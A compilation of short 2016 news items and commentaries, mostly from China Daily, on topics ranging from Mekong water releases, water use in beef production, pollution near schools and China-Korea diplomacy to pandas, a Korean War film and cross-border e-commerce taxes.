According to the Foreign Ministry, nearly 40 delegations from CICA member countries and observer countries as well as international organizations have confirmed attendance.
Last month, Jinghong Dam in Yunnan province increased its water discharges into the Lancang-Mekong River to ease water shortages downstream in Cambodia, Laos, Myanmar, Thailand and Vietnam.

According to Thanh Nien News in Vietnam, the region had been stricken by its worst drought in 100 years. The news portal reported in February that 140,000 hectares of rice paddies had been damaged and 600,000 people were facing drinking water shortages.

Jinghong's monthlong extra water discharges were a good-neighborly gesture and helped ease the situation. They were highly appreciated by the countries downstream.
Actor Liu Ye. [Photo provided to China Daily]

An upcoming film pays homage to Chinese soldiers who sacrificed their lives during the Korean War in the early 1950s.

My War, starring veteran actor Liu Ye and actress Wang Luodan, will hit Chinese mainland theaters on Sept 30, according to a news release on Monday.

Centered on a group of young men, the film recreates the brutal battles and brotherhood during the harsh years.

Hong Kong director Oxide Pang Chun says the film is his first war epic.

"I believe many directors would want to direct such a big movie boasting grand spectacles and visual effects. It's a great honor to be part of it," he says.

Pang also says that he did a lot of research, using documentaries, books and other related material to learn about the war.

He also says real explosives were used to create some of the visual effects.

Shot in the provinces of Liaoning and Hebei, the crew took more than 6 months to recruit nearly 1,000 extras to film the battle sequences.

Liu, the lead actor, who plays a Chinese military officer, says the harsh shooting environment was a big challenge for the cast. "It was smoke and dust everywhere. During the breaks, we had to wear masks," he says.

Related:

Monster Hunt suspected of box office fraud
Librarie Advant-Garde. [Photo/IC]

1. Librarie Advant-Garde

Librarie Advant-Garde has been listed as a top 10 most beautiful bookstore in the world by media like the BBC and CNN in the last several years, along with others like the famous Shakespeare & Company in Paris.

The bookstore, founded 20 years ago, now sits in an underground parking lot in Nanjing, Jiangsu province. The 4,000-quare-meter space houses more than 300,000 copies of books, mainly philosophy, literature, history and art.

The setting of Ernest Hemingway's short story, "A Clean Well-Lighted Place", can well describe the general atmosphere at Librarie Advant-Garde. But what is more, there are two black crosses hanging on the walls of the two entrances, creating pious solemnityreading is a religion.

Taking a stroll around the whole space and picking up one or two your beloved books on a chilly, rainy day is one of the best activities for book lovers.
[Photo by Li Feng and Zhang Chengliang/China Daily]

When Nathan Lawes and Lingmei Wang visit Chinese schools, they like to show children a steak and a tomato. Which item, they ask, requires the most water to produce?

The kids usually point to the obvious answer, the juicy tomato.

Wrong, grins Lawes, a young Canadian volunteer who presents educational programs for a global NGO called Thirst 4 Water.

On a commercial farm it takes about three years before a cow can be slaughtered to produce about 200 kilograms of boneless beef. During its life, the animal will eat nearly 1,300 kilograms of grains such as wheat and barley, and nearly 7,200 kg of grass, hay and other roughage. The production of all that grain and roughage requires 3,060,000 liters of water. Add to that the 24,000 liters of water the cow actually drinks in three years, plus 7,000 liters needed to service the farmhouse and slaughtering operations, and a total 3,091,000 liters of water is consumed to produce that 200 kg of meat, according to industry reports.

Put another way, that means 15,400 liters of water is needed to produce 1 kg of boneless beef. (That's the equivalent of an 8-by-40-meter wall of 1-liter water bottles.)

"When we shower," says Wang, "we can see water going down the drain and we have sense of how much water we could waste with a long shower. But when you eat, you don't see the water needed to grow and transport your food."

Being aware of the "invisible water" that goes into everything from cooking to laundryresearchers say food represents 3,496 liters of water that the average person in the United States "consumes" every dayis the first step toward solving a global problem.

"We're not expecting people to give up meat," says Lawes. "That's not going to happen. But if we recognize the problem we can change some of the habits that cause it."

China's government is keenly aware of the challenge, and water conservation is aggressively imbedded in the recently unveiled the 13th Five-Year Plan (2016-2020). Officials have predicted Beijing could run out of water in less than 50 years, and other studies note that 93 percent of China's industry depends on water.

Food is a "massive" part of the equation, Lawes and Wang say, insisting we must gradually but steadily change our eating habits as well as the most water-intensive food production processes.

People in developing countries have traditionally eaten less meat than their more affluent neighbors. But as incomes have risen in China and elsewhere, so has the appetite for animals. That means we're using more water to grow grain to feed livestock instead of people, activists say, and that's just one worrying trend.

China's green-minded planners are so concerned that they are pushing policies once unthinkable: Instead of a constant push to procure more rice, for example, they are trying to convince Chinese to eat less of it. Potatoes need much less precious water to grow than rice doesso agriculture officials want to see potatoes emerge as a staple starch, used for flour and noodles as well as french fries. They are also promoting tomatoes as a crop, which can be sustainably grown in greenhouses with recirculated water.

Some high-profile corporations are into the water-saving act, too. Hotels have long urged visitors to use sheets and bath towels for more than one day to save laundering, and now they are paying more attention to water's impact on food. Green technology drives kitchens and plumbing in establishments like the Nuo and Hotel Eclat. Global giants like the Fairmont chain develop their own food-supply chains to ensure not only food safety but sustainable growing practices. Nuo and the Fairmont hotels have even established their own farms in China to ensure sustainable practices, including water conservation.

Levi Strauss CEO Chip Bergh, meanwhile, has famously said he only needs to wash his jeans once a year.

"Better technologies and habits about laundry, flushing toilets and brushing teeth are important," says Thirst 4 Water's Lawes at a recent Beijing Foodies dinner. "But if we could reduce meat consumption, that would reduce water use exponentially."

That doesn't mean we all become vegetarians, he says. One habit adjustment he points to is Meatless Mondays, a concept embraced by celebrities like fashion guru Stella McCartney. Lawes notes that the Canadian International School in Beijing adopted Meatless Mondays for one year.

If Earth Day, which we celebrate on Friday, could inspire more people to appreciate a plate of noodles with a little meat sauce as often as a big steak or a hamburger, that's a step forward, too.

Contact the writer at michaelpeters@chinadaily.com.cn
Danish brewer Eddie Swezda will present his award-winning Midtfyns Bryghus beers in a series of tastings around China. [Photo provided to China Daily]

The late Robert Mondavi is widely credited with making California wines famous for quality, and his celebrated winery turns 50 this year. At a vertical tasting of some of Mondavi's best wines of the previous decadethe cabernet sauvignon reserves of 2002 and 2005-2009, media and the local trade got a quick lecture on how weather affected each year's production and blending.

Director of winemaking Genevieve Janssens seemed to favor the rich, smooth vintages from cool and wet 2005 and 2006, but the Chinese crowd-pleaser was probably the big and bold 2007 vintage, one of the winery's biggest successes. Needless to say, little of these wines ended up in the tasting spittoons.

When Mike Signorelli texted me last with an invitation to drink Bull's Blood, my inner Hemingway came out of nowhere. This "blood", of course, has nothing to do with matadors or bullfights: It's the 2009 vintage of the limited-production Arpad Bull's Blood from Hungary.

Signorelli runs the Signature Wine Club, whose members across China get a delivery of wines each month that are not available in stores, selected by a panel of experts for their quality and price. The 2007 Arpad Bull's Blood was a huge hit in the club, and in response Signorelli has grabbed 1,000 bottles of the silky 2009 vintage.

Last week's tasting was one of two hosted by the Hungarian Federation of Wine Craftsmen; that organization also presented five wines at a Hungarian food festival dinner at the Minzu Hotel. The opening wine, the white 2013 Grof Degenfeld Tokaji Furmint, was also a crowd favorite.

Fans of Midtfyns Bryghus can taste some of the Danish brewery's intriguing craft offering with owner Eddie Swezda, who starts a five-city China tour on Friday in Shanghai at Beer Together (8 pm). The highlight will likely be a 5:30 pm beer-pairing dinner at Liquid Laundry on Saturday, and from there Swezda will be sharing craft-brewing stories and suds at Fly Fish in Hangzhou (8:30 pm on Sunday) and Ai Shang in Ningbo (7 pm on Monday) before coming to the capital for three days. Beijing tastings will be at Drunk (8 pm on Tuesday), Flow Brew (8 pm on Wednesday) and Beijing Beer Lab (8 pm Thursday). The events wrap up in Shenzhen on April 30 with a 2 pm tasting at Foam Heaven.

RSVP is recommended as the tastings will be limited to about 20. The 10 featured beers include three that were showcased at the Beijing Invitational Craft Beer Festival in February: the award-winning and spicy Chili Triple, the Russian Imperial Stout (voted best new beer in Denmark 2015) and two new exclusive versions.
YEREVAN, APRIL 22, ARMENPRESS. Turkey has sent a special letter to its Turkish residents in Netherlands urging them to report the names and information of people who insulted Turkish President Recep Tayyip Erdogan and Turkish state in the internet.

As Armenress reports citing BBC Turkey, the message was sent to Turks from the Turkish Consulate in the Netherlands.

The Consulate, however, refused to comment on such kind of action to BBC.

Kemalist Republican Peoples Party Netherlands union made a condemning statement for sending such messages to the e-mails of Turkish residents of Netherlands. The statement says that this case can create tensions among Turks living abroad.

The representatives of Netherlands Parliament also expressed their complaint on this issue. The ruling Liberal Left-wing Party demands the Foreign Minister of Netherlands to summon Turkish Ambassador to explain the situation.
China's southernmost city is preparing to plant 500,000 trees within the year in a new "greening of the islands" initiative.

Sansha's island location in the South China Sea means the city's forest-building plans will face challenges, including the transportation of seedlings, limited fresh water supplies and extreme weather, including typhoons.

But the tree planting project is seen as vital because the forests will provide a windbreak and prevent shoreline erosion, improve the area's ecology and benefit residents, officials said.

"Transportation is a big issue, all tree seedlings coming in from Hainan island will first arrive in Yongxing island, then they will get distributed to other reefs, most of which are without a port," said Shi Guoning, deputy director of the Bureau of Land and Resource and Environmental Protection for Sansha.

"To transport the tree seedlings to the reefs and sandbars, we will have to use small boats and wait for high tides to reach our destinations," Shi said.

The lack of fresh water for irrigation will be anther major stumbling block. Sansha has invested about 2 million yuan ($306,700) on seawater desalination equipment and water pumps. It also set up a rain water collecting tank system last year to benefit trees being planted in an area called West Sandbar.

"Before that, we had to rent boats to transport fresh water from Zhaoshu island, which is about 3 sea miles away from West Sandbar. It was not easy," Shi said.

But the hard work and expense will be worth it, he said, because the trees will greatly improve the living environment for locals.

Coconut and casuarina trees are the plants of choice because they have a high survival rate in the area's hot, humid, salty and highly sunny conditions.

Last year, about 300,000 trees were planted on islands and reefs, and 90 percent survived, turning the desert islands into green ones.

Sansha has also promoted an "Internet plus tree" adoption activity to involve netizens. For 300 yuan per year, participants can sign up over the Internet to "own" a coconut tree on the city's Zhaoshu island, according to media reports.

Contact the writers at liuxiaoli@chinadaily.com.cn
President Xi Jinping called for more dialogue to resolve issues regarding the Korean Peninsula during a meeting with Republic of Korea President Park Geun-hye during the fourth Nuclear Security Summit in Washington on Thursday.

"Dialogue is the only correct way to resolve issues," Xi told Park. "The Chinese side stands ready to make efforts in a constructive way to resume dialogue within the framework of the Six-Party Talks."

President Xi Jinping and ROK President Park Geun-hye agreed to continue advancing their bilateral cooperation in a variety of fields.

Xi said South Korea is a crucial neighbor of China, and the two sides should maintain strategic communication and respect each other on major issues of mutual interest.

Xi invited the ROK to participate in the Belt and Road Initiative and urged both countries to accelerate the process of aligning development strategies by emphasizing cooperation in trade, finance and investment.

To collaborate on every level, Xi emphasized the importance of people-to-people exchanges.

"Let's help each other carry out a successful PyeongChang 2018 Winter Olympics and Beijing 2022 Winter Olympics," Xi told Park.

Xi said China will also assist ROK in promoting tourism and help facilitate a young leadership conference and other programs that will further strengthen the friendship between their people.

Xi urged China and ROK to keep a close relationship within international communities, such as the United Nations, G20 and APEC, and communicate closely on global issues.

Park said she agrees with Xi that they should maintain close high-level communication, which shows the importance of the relationship.

Park said ROK wants to build a strong trust with China, and as Xi said, enhance collaborations on every level and in all fields.

As the economy globalizes, Park said it becomes more important for China and ROK to strengthen trade cooperation, implement a free trade agreement and link ROK's Eurasia Initiative with China's Belt and Road Initiative.

ROK fully supports people-to-people exchanges and will join hands with China to host the Winter Olympics, said Park.

hezijiang@chinadailyusa.com
Officials pose for a family photo at the G20 Finance Ministers and Central Bank Governors Meeting at the Pudong Shangri-la Hotel in Shanghai, East China, Feb 27, 2016. [Photo/Xinhua]

This is going to be an eventful year for international politics. Aside from the sluggish global economic growth, major economies also have a lot to deal with at home. The controversial US Republican presidential candidate Donald Trump is one step closer to winning his party's nomination race, adding more uncertainties to the country's presidential election. Tensions still run high in the Middle East, while Russia is yet to reconcile with the West over the Syrian and Ukrainian crises.

The process of denuclearizing the Korean Peninsula, too, has hit speed bumps after the Democratic People's Republic of Korea conducted its fourth nuclear test on Jan 6 and launched an Earth-observation satellite on Feb 7.

More importantly, for major global powers, whether they are able to mobilize enough international support to fight cross-border terrorism led by the Islamic State, will serve as a barometer of their capability to fruitfully handle their relationships.

Defined as modern countries that have systematic impact on the international systems, major powers including the United States and China, are obliged to shoulder greater responsibilities and play a more active role in regional and global affairs. And to safeguard global peace, stability and prosperity, they need to closely cooperate and coordinate by shelving their differences and disagreements.

High hopes have been placed on China's diplomatic performance this year, as President Xi Jinping is expected to inject fresh momentum into the "major country diplomacy with Chinese characteristics".

Regardless of their geo-economic and geopolitical disparities, however, major powers should adhere to the principles of non-conflict and non-confrontation. In particular, they should jointly address outstanding global issues through effective communication and dialogue. There is enough room for cooperation among major powers when it comes to nuclear non-proliferation, reducing carbon emission and boosting global growth, which largely depends on concerted financial policies of all economies.
Chinese parents wait at the gate of the new campus of Changzhou Foreign Languages School near a toxic site in Changzhou city, east China's Jiangsu province, 18 April 2016.[Photo/IC]

After the "poisonous land" case in Changzhou, Jiangsu province, hit the headlines, students in another school in the same province recently also reported symptoms such as bleeding from their noses to body itching and skin peeling.

Students at the school in Haian county have complained of the pungent smell from neighboring chemical plants. The Haian county government did not deny the "peculiar smell" pollution, but it has been sluggish to respond and take action.

It has now ordered a full shutdown of the plants, but this only came after the students' symptoms emerged and their parents became concerned. This has sparked claims that children's health is once again being used as a "test" for pollution.

The sluggish response from the Changzhou and Haian governments has exposed their indifference toward the health of local residents. It also reveals that relevant legislative and administrative departments have failed to pay enough attention to the issue of monitoring and eliminating pollution. Thus it underscores that flaws in the relevant monitoring standards need to be corrected.

A typical example is that after local residents in Changzhou reported the smell and the local environmental protection bureau conducted on-the-scene tests, an official from the bureau admitted that technological means for domestic environment testing still lags behind that of advanced countries. The backward testing means and equipment may cause some pollution to go undetected.

There have been many examples of environment watchdogs failing to detect environmental hazards and the affected residents having no legal recourse to safeguard their rights. It is hoped that local governments start paying real attention to pollution and its harmful effects on people's health and take practical measures to prevent similar tragedies from happening again.--Beijing News
Police officers in Fuzhou are punishing drivers who break the rules.[Photo/IC]

Since last week, police in Fuzhou, capital of Southeast China's Fujian province, have been using high-definition cameras to take photos of jaywalkers. But they not only fined three people for jaywalking, they also published their photos online. That move might violate the legal rights of the rule-breakers, said a Thursday comment in Beijing News:

Everybody dislikes jaywalkers because they threaten the life and safety of not only themselves but also other people who abide by the law. Those walking across the street amid red traffic lights deserve legal penalties such as fines.

But the penalties they receive must be strictly according to the law. Of course, the police have the power to take photos of them and use the photos as electronic evidence. That's legal.

However, it remains questionable whether the police have the power to publish the photos. Even lawbreakers have the right to privacy and their records should be open to the police only. By publishing wrongdoers' photos online, the police have actually exceeded the power granted to them by the law.

According to the Law on Road Safety, penalties for traffic rule violations include warnings, fines, suspending or confiscating driving licenses, and detainment; for pedestrians and cyclists, the penalties include warnings, fines, and the confiscation of bicycles. Taking photos and keeping them as evidence helps punish rule-breakers, but to publish them online is not legally specified, therefore doing so amounts to an abuse of power.

Many may argue that the penalties are rather light because the fine is too low and giving a warning does not help prevent people from violating the rules again. That might be reasonable, but according to the principle of rule of law, the police may not impose additional penalties until the legislative body changes the law.

We have made the rules via our legislators, and everybody, citizens and law enforcers alike, is supposed to follow them. If anybody has any new idea, there is the legislative body and the legislators are to decide whether to change the law first.
Chinese Premier Li Keqiang receives a painting created by a child when he visits the Bayi Children's Hospital in Beijing, capital of China, May 30, 2014. Li expressed his wishes to children ahead of the International Children's Day. [Photo/Xinhua]

An 11-year-old girl in Hanzhong, Northwest China's Shaanxi province, was beaten to death by her father, because she refused to apologize for coming home late. Beijing Youth Daily commented on Thursday:

Arrested on charges of child abuse and intentional injuring of a minor, the abusive father in Shaanxi is not alone in dismissing the fact that beating their children is domestic violence.

According to a 2014 survey by the women's federation of South China's Guangdong province, over 37 percent of the surveyed residents still believe there is nothing wrong in beating their own kids.

The truth is, parental education today does not need to involve violence. A child is not private property owned by his or her parents. Traditional ideas such as "spare the rod spoil the child" are outdated and constitute an infringement of youngsters' basic human rights.

True, discipline and strict household rules can help the young learn and succeed, but parents should never resort to violence in "enforcing" the rules. Those who fail to manage their anger and frustration toward their naughty kids, often end up regretting that they brought only bruises and scars, instead of promoting self-discipline and good behavior.

For the kids, their adolescent belligerence also has a lot to do with the parents' indulgence when they were younger. It would be too late and counter-productive to later try and rectify that over-indulgence with violence.

China's first law on domestic violence, which took effect on March 1, explicitly defines family abuse and streamlines the process of obtaining restraining orders. It urges the legal guardians of underage youths to educate them in a civilized manner, without using violence. Given the tragedy of the Shaanxi girl, more proactive efforts to promote the new law are needed to better protect children from violence at home.
Premier Li Keqiang smiles and talks with Hai Baoting and his wife. [Photo/english.gov.cn]

Police officers in Ma'anshan, Anhui province in East China, recently received an emergency phone call from a 70-year-old man in the early hours of the morning. The old man said he had fallen and needed assistance. When police officers came to help him, however, they found the old man had prepared tea and wanted to chat. The old man's only aim was to get some company. People.cn commented on Thursday:

When people encounter a danger, they turn to the police for help. Dialing police hotline is the first choice for most people at an emergency. That the old man called the police just to "chat", is unbelievable.

Yet our aging society means more elderly people living in cities are experiencing loneliness and suffering. Despite the government taking measures to help them, they still need love and care.

In fact, many elderly people have security and material support but lack emotional support and spiritual comfort.

In light of the current situation, we should focus on providing spiritual support to the elderly. On the one hand, the government and relevant departments should further fulfill their social responsibilities by establishing effective pension system and providing services. On the other hand, children should be encouraged not to forget the responsibility of looking after their elderly parents.
" We want the environmental protection bureau to monitor the air quality on a daily basis."

Yue Qiuyi, a mother whose daughter attends second grade of a school in a country of Nantong, East China's Jiangsu province. The school is located near the chemical plants.
Xiao Delan, the former wife of a gay man, plays a bride to raise social awareness of the wives of gay men during an activity in Wuhan, capital city of Hubei province, July 2, 2014. [Photo/IC]

"At least 14 million straight women in China are currently, or have been, trapped in false marriages with men who are gay," Zhang Beichuan, a retired professor with the Medical School of Qingdao University, and a pioneering researcher on LGBT (lesbians, gays, bisexuals, transgender) issues, tells China Daily Website.

The phenomenon of Tongqi (wives of male homosexuals) has been in the shadows for decades due to Chinese traditional cultural customs, which strongly pressure adults to get married at certain ages, Zhang said. However, in the past two years, this special group has been under the spotlight and stirred public debate extensively as more victims stand out to vent their plights.

"Tongqi's cries of marriage misery represent the development of society and women's conscience of equal rights; it also reaches the physical and mental limit wives married to gay men can tolerate," Zhang said.

Many women were deceived into such bitter relationships by their gay partners as the later just need such marriages of convenience as a buffer between themselves and family and social pressure. Fei Yan (pseudonym), a 41-year-old white-collar woman living in Changsha, Central China's Hunan province, said her unwitting marriage to a gay man led to a lifetime of woes.

"Before he confessed to me, I had no idea what happened between us," Fei said.

The couple had two children - the elder is now 10  and husband and wife have decent jobs. It seems a happy, middle-class family.

"However, when we're alone, he's not willing to get close to me or touch me. I thought I had done something wrong. That has been a huge blow to me in the past decade," Fei said.

According to Zhang's investigation, about 80 percent of the estimated 20 million homosexual men in China are currently or have been in a fake marriage.

"It's seriously immoral to intentionally and rashly deceive an innocent woman into a sham marriage," the professor said.

As a moderator of a tongqi group on QQ, an instant chat platform, Ru Meng (pseudonym) found two reasons behind this phenomenon after two-years of research about such marriages. First, homosexuality still carries a strong stigma in China. So the marriage is used as a shield to protect homosexual men. Second, under the pressure of filial ethics, gay people tend to find wives to have children to inherit the family's fortune.

An online report, Plight of the Chinese Tongqi, stirred outrage and sympathy towards the gay people and their wives.

"However, it's hard for those wives to walk out the cursed binding," Ru Meng said.

Many women choose to quit their jobs and become full-time housewives after marriage, making them financially dependent on their spouse. Once the wife realizes the truth, she may decide to keep silent and maintain the sham marriage to give their children a stable family.

"I did not want my children to grow up without a father. But I did not want them to grow up in a dysfunctional family either," Fei said. Some do find the courage to divorce their husbands, but divorce is still considered as a shameful issue, according ingrained custom.

"The law in China does little to assist those women who are at a disadvantage when they try to plead for compensation during divorce proceedings." Professor Zhang said.

"A lack of sex education in Chinese schools has contributed to the tragedy of tongqi and the hostile social attitudes towards gays," Zhang said. Gay people usually feel ashamed to admit their sexual orientation and thus they choose to keep silent so they won't be viewed as a "monster".

"Same-sex relationships should be tolerated and respected by more people. And the stereotype about same-sex marriage may also be diminished, thus the tongqi tragedy could be terminated," Zhang said.
Residents worry about the things we all do in capital cities, especially those who live in a megalopolis

Housing, traffic, the weather, education, pollution - China's burgeoning middle class is as concerned by these topics as their counterparts in any capital city you care to name.

In London, where I live, supper with friends isn't complete without a group moan about the stupidly high cost of housing, worries about education or transportation. (In passing I can't praise London's Tube, train and bus services enough. But that's another story.)

Here in Beijing, the overriding topic is pollution.

Decades of poor planning have meant the winter months in particular have been hellish, with tall buildings sometimes obscured by the smog and most people wearing surgical masks to ward off the worst of the particles.

I've been lucky so far - sunny blue skies and a breeze most of the time has meant that so far I haven't apparently suffered any adverse reaction. But a nighttime shot of China Daily's building showed the newspaper's name in neon lights dimmed by a murky cloud of polluted air.

The colleagues sitting near me in the China Daily office were quick to jump on me when they overheard my telling my wife in a video call that the famed pollution didn't seem to be a problem so far.

"Just you wait and see," they all cried. Another pointed out that one of the most popular smartphone apps was one that forecasts pollution levels.

Well, we'll see.

Evidently the authorities are acutely aware of the problem, because there's a policy of steadily removing smoke-belching factories to less heavily populated provinces. There's a steady shift to carbon-free nuclear power, and the damming of the various mighty rivers is generating hydroelectricity for China's ever-ravenous domestic and manufacturing market.

There is one danger that I hadn't foreseen. Just in the same way that Ho Chi Minh City residents have taken to the motor scooter in droves - last count I saw was close to 3 million machines for a population of well over 9 million - so Beijingers seem to have jumped on the electric bicycle and scooter bandwagon.

They're everywhere, and I swear that one of these days I'm going to be flattened after being hit by one of these things, so silent are they.

They come in all shapes and sizes, from the electric bikes loved by students, the scooters that look just like their petrol-powered counterparts, little food delivery trucks - there are literally hundreds of them around here - and even mini electric-powered rubbish carts.

And all silent. You have to have eyes in the back of your head to navigate the roads and sidewalks.

Property seems to be the other bugbear. As far as I can see, it's the old story of supply and demand. As more and more people flock to the city, where the main jobs can be found, so the number of apartments available has fallen, and those that are available command a hefty price.

I have to say it sounds a bit like London, where there's a desperate need for new housing and what there is commands stupid - and I mean stupid - prices.

According to the World Population Review, current unofficial estimates put Beijing's population at around 22 million. Between 2000 and 2010 it grew by a staggering 44 percent, and current growth rates are around 20 percent per decade.

Let me tell you, you don't need to be an Einstein to figure out that not even the Chinese can construct apartment blocks fast enough to keep pace, although heaven knows they're trying.

Now to the other issue that Beijing shares with London.

The smartphone zombies.

The pavements here are full of masked figures, peering intently at their smartphones, thumbs blurring as they zap out another text message on WeChat, the immensely popular free social media app widely used in China.

I am both an object of pity and silent derision, not because I am a gray-haired, six-foot, 200-pound laowai (foreigner) in a sea of slim, black-haired Chinese, but because my phone is pathetically small.

Most folks here opt for the bigger-screened smartphones, only just short of the size of a small tablet.

I'm ashamed to produce my battered iPhone 4s.

So I'm pitching for an upgrade as soon as I get home.

You see, just as everything else in China, size matters.

The author is managing editor of China Daily Europen Edition, based in London.



Contact the writer at chris@mail.chinadailyuk.com
YEREVAN, APRIL 22, ARMENPRESS. The Azerbaijani adventurism has greatly harmed the Nagorno Karabakh negotiation process. This was stated by Armenian Foreign Minister Edward Nalbandian during the joint press conference with Russian Foreign Minister Sergey Lavrov in Yerevan. Along with Russian, with other co-chairing countries, by overcoming the continuous obstacles created by Baku, by reiterating the 1994, 1995 ceasefire agreements, we try to ensure normal conditions to return the settlement process to normality.

We both agree that the use of force is unacceptable. There is no alternative to the negotiating settlement. The condemnation of the use of force by the international community is especially important, so that Baku doesnt have illusion that it can solve issues militarily, Armenpress reports Nalbandian saying.

The Minister said that the visit is taking place in conditions where the core of the talks are the consequences of the recent Azerbaijani attacks. Most important parts of the discussions were held on this issue. Nalbandian said that from the very beginning of the Azerbaijani attacks on April 2, he was in constant contact with Russian FM Lavrov.

Lavrov is on an official visit in Armenia at the invitation of Nalbandian. Serzh Sargsyan is scheduled to receive him. Within the framework of the official visit, Lavrov paid tribute to the victims of the Armenian Genocide in Tsitsernakaberd Memorial Complex.




China's Global Newspaper





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Zhuhai's English website cityofzhuhai.com went online on April 22, serving as a window on its opening-up to the outside world.

Zhuhai has attracted more and more attention from home and abroad with the implementation of the Belt and Road Initiative, Hengqin Free Trade Zones accelerated development and construction of the Hong Kong-Zhuhai-Macao Bridge.

The launch of the website is an important step to enhance the citys communication with the outside world.

The website will connect Zhuhai and the rest of the world and help visitors understand the city. It will be instrumental in attracting more high-end international people and businesses, improving the citys opening-up and helping the city get off to a good start in the 2016-2020 period.

A screenshot from Zhuhai's English website.

The website is sponsored by the Zhuhai information office and developed by China Daily.

Its columns feature images of Zhuhai, news, hot-spot issues, business investment, tourism and culture, and urban life.

All columns focus on news and service information and connectivity. The news column aims to convey Zhuhais latest development to the whole world in a timely way. The service column introduces Zhuhais industry, tourism and public life.

A screenshot from the mobile version of Zhuhai's English website.

The website also includes links to websites of key industrial parks, enterprises, restaurants, hotels and schools. The website applies the designs of similar international websites and integrates Zhuhai's characteristics and international style. It uses blue as the dominant tone to reflect the city's ocean elements. Local distinctive elements have been added to the design.

The Fisher Maiden sculpture of Zhuhai

All pages feature strong visibility, readability, and balanced colors, and make full use of virtual reality. Theyre clean, fashionable and rhythmic. The website follows trends in the omnimedia era and has a mobile terminal version featuring consistently-designed pages, a concise and clear-cut column setup, and screen scenes with strong visual impact.

It's easy to access the website through mobile devices, which will help readers keep abreast of Zhuhai's distinctive and vibrant development.

For more information, please scan the QR code of Zhuhai's English website.
A customer visits a cross-border e-commerce shop in Hangzhou, Zhejiang province. [Photo by Long Wei/China Daily]

Luo Tong has been shopping at international online retailers like Shopbop for years now. She usually receives her parcel within a week of her order and has rarely been taxed by customs.

But this time, she has waited three weeks and her parcel still hasn't arrived. Luo's friend, who has been ordering rice powder from Germany, was recently taxed for the first time, she says.

For a long time, Chinese consumers have turned to cross-border e-commerce sites, such as Tmall and JD for lower prices when buying overseas products.

But now the situation is changing as the Ministry of Finance has issued new regulations regarding taxes on cross-border purchases, effective since April 8.

According to the new regulations, personal orders from overseas will no longer be considered personal postal articles that enjoy a relatively low postal tax. Instead, they will now be classified as imported goods and will face tariffs like import VAT and consumption tax.

"I will wait to find out how much tax I have to pay this time and then decide if I should continue to order on these platforms," says Luo.

Cross-border e-commerce has grown rapidly over the last few years. According to the China E-Commerce Research Center, an affiliate of the Ministry of Commerce, the volume of cross-border e-commerce was 2 trillion yuan ($309 billion) in the first six months of last year, a 43 percent increase for the same period in 2014. The consumer trade segment made up 8 percent of the trade last year.

Cosmetics, maternity products, luxury goods, digital products, apparel and electronics were among the most popular items for Chinese consumers.

The new tariffs imposed on personal overseas purchases will reduce the price gap between traditional businesses and e-commerce sites, as well as between domestic and foreign products, Zhang Bin, a researcher on finance and taxation at the top think tank Chinese Academy of Social Sciences, told Xinhua News Agency.

The new regulation will apply to a list of 1,142 goods that include food and beverages, apparel, electronics and cosmetics.

The new tax rule varies depending on the type and price of the products. For food and cosmetics that are priced at less than 100 yuan, the tax has risen, while for clothes and cosmetics costing between 1,000 and 2,000 yuan the tax rates are lower, analysts say.

The new policy also poses challenges to online retailers. The new regulations will raise costs for the platforms and test their global supply chain, which will make it harder for some small players to survive, Tmall's global general manager Liu Peng says.
State Councilor Yang Jiechi and India's National Security Adviser Ajit Doval meet for the 19th round of talks on the border issue in Beijing on Wednesday. Wang Zhuangfei / China Daily

Border disputes between China and India have been effectively controlled, special representatives from both countries said on Wednesday.

State Councilor Yang Jiechi and India's National Security Adviser Ajit Doval made the remarks as they met at the Diaoyutai State Guesthouse in Beijing for the 19th round of talks between special representatives on the border issue.

They also said that "the border area has been peaceful and stable in general", the Foreign Ministry reported in a news release.

The talks are scheduled to end on Thursday.

Indian newspaper The Hindu said the talks are taking place against the backdrop of a "sharp decline in border incidents, following Prime Minister Narendra Modi's visit to China in May 2015".

Foreign Ministry spokeswoman Hua Chunying said on Tuesday that the talks come at a crucial stage of negotiations on a settlement framework.

She said the two countries will try to work out a fair and reasonable plan that is acceptable to both at an early date.

The two nations began a three-stage process when the special representatives were appointed in 2003.

They first reached an agreement on guiding principles and setting political parameters for a settlement in 2005. The countries are now at the second phase of working out a settlement framework, and the final step will be drawing a border line based on the framework agreement.

Wang Xu, executive deputy director of Peking University's Center for South Asian Studies, said, "Both Beijing and New Delhi had a stronger will to consolidate bilateral ties after President Xi Jinping's visit (to India) in 2014 and reached higher consensus on controlling border conflicts.

"Now what matters is the implementation of such controls," he said.

India's Rediff News said Doval traveled to Beijing not merely as a special representative for the border talks, but in a much broader role as the prime minister's special envoy to discuss a wider range of bilateral relations.

lixiaokun@chinadaily.com.cn
South Korean performing artist Bae Suzy presents Panda World in Everland resident IDs for the Chinese giant panda pair Le Bao, a 3-year-old male, and Ai Bao, a 2-year-old female. Everland, the largest theme park in South Korea, is about 40 km from the capital, Seoul.[Photo/Xinhua]

A pair of Chinese giant pandas that arrived in South Korea in early March, were unveiled on Thursday to the South Korean public after an approximate 50-day adjustment period.

The 3-year-old male named Le Bao and the 2-year-old female Ai Bao, whose names mean pleasant and lovely treasures, made their public appearance at the 3,300-square-meter Panda World in Everland, South Korea's largest theme park located around 40 kilometers from the capital Seoul.

Attending the opening ceremony were about 400 journalists and officials from both countries, including Qiu Guohong, Chinese ambassador to Seoul, South Korean Culture and Tourism Minister Kim Jong-deok and Gyeonggi province Governor Nam Kyung-pil.

Kim expressed his appreciation to the Chinese government for sending the pandas. The pair will serve as goodwill ambassadors for improved relations between the two countries.

Everland expects the pandas to help increase visitors to the theme park, appointing them as honorary employees.

The panda pair arrived in South Korea on March 3 on a 15-year lease.

Joint research will be conducted by Everland and China Conservation and Research Center for the Giant Panda. Everland installed thermostatic and humidity equipment and planted familiar trees in Panda World to simulate the environment in Sichuan.

The center heads China's international panda research and cooperation program and has sent 32 pandas to 12 zoos and parks in 10 countries and regions since the 1990s.
SEOUL - South Korea's top envoy at the long-stalled six-party talks will visit China on Friday to talk with his Chinese counterpart about the Democratic People's Republic of Korea (DPRK)'s nuclear program.

Seoul's foreign ministry spokesman Cho June-hyuk told a press briefing on Thursday that Kim Hong-Kyun, chief South Korean envoy for the six-party dialogue to denuclearize the Korean peninsula, will visit China on Friday to meet with Wu Dawei, China's special representative on Korean peninsula affairs.

Kim and Wu will share an assessment on the Korean peninsula situations based on the results of China-South Korea summit held in Washington on March 31 on the sidelines of nuclear security summit, the spokesman said.

The two diplomats will also discuss comprehensive cooperation ways between the two countries regarding the DPRK's nuclear program, according to the spokesman.
